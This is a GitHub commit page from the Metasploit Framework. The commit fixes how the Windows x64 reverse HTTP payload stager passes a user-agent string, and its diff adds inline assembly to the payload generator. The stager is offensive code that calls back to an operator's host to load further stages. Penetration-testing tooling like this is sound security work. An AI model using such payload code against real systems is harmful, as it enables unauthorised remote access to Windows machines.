Skip to content

Commit ebf7379

Browse files
committed
Landing rapid7#19726, fixed incorrect processing of HTTP User Agent parameter in x64 reverse HTTP payload (Windows)
2 parents 50b1259 + 8af31e6 commit ebf7379

File tree

1 file changed

+15
-2
lines changed

1 file changed

+15
-2
lines changed

lib/msf/core/payload/windows/x64/reverse_http_x64.rb

Lines changed: 15 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -62,7 +62,7 @@ def generate(opts={})
6262
# Otherwise default to small URIs
6363
conf[:url] = luri + generate_small_uri
6464
end
65-
65+
6666
generate_reverse_http(conf)
6767
end
6868

@@ -168,6 +168,7 @@ def asm_generate_ascii_array(str)
168168
# @option opts [String] :url The URI to request during staging
169169
# @option opts [String] :host The host to connect to
170170
# @option opts [Integer] :port The port to connect to
171+
# @option opts [String] :ua The User Agent the payload will use
171172
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
172173
# @option opts [String] :proxy_host The optional proxy server host to use
173174
# @option opts [Integer] :proxy_port The optional proxy server port to use
@@ -245,9 +246,21 @@ def asm_reverse_http(opts={})
245246
internetopen:
246247
push rbx ; stack alignment
247248
push rbx ; NULL pointer
248-
mov rcx, rsp ; lpszAgent ("")
249249
^
250250

251+
if opts[:ua]
252+
asm << %Q^
253+
call load_useragent
254+
db"#{opts[:ua]}", 0x00
255+
load_useragent:
256+
pop rcx ; lpszAgent (stack pointer)
257+
^
258+
else
259+
asm << %Q^
260+
mov rcx, rsp ; lpszAgent("")
261+
^
262+
end
263+
251264
if proxy_enabled
252265
asm << %Q^
253266
push 3

0 commit comments

Comments
 (0)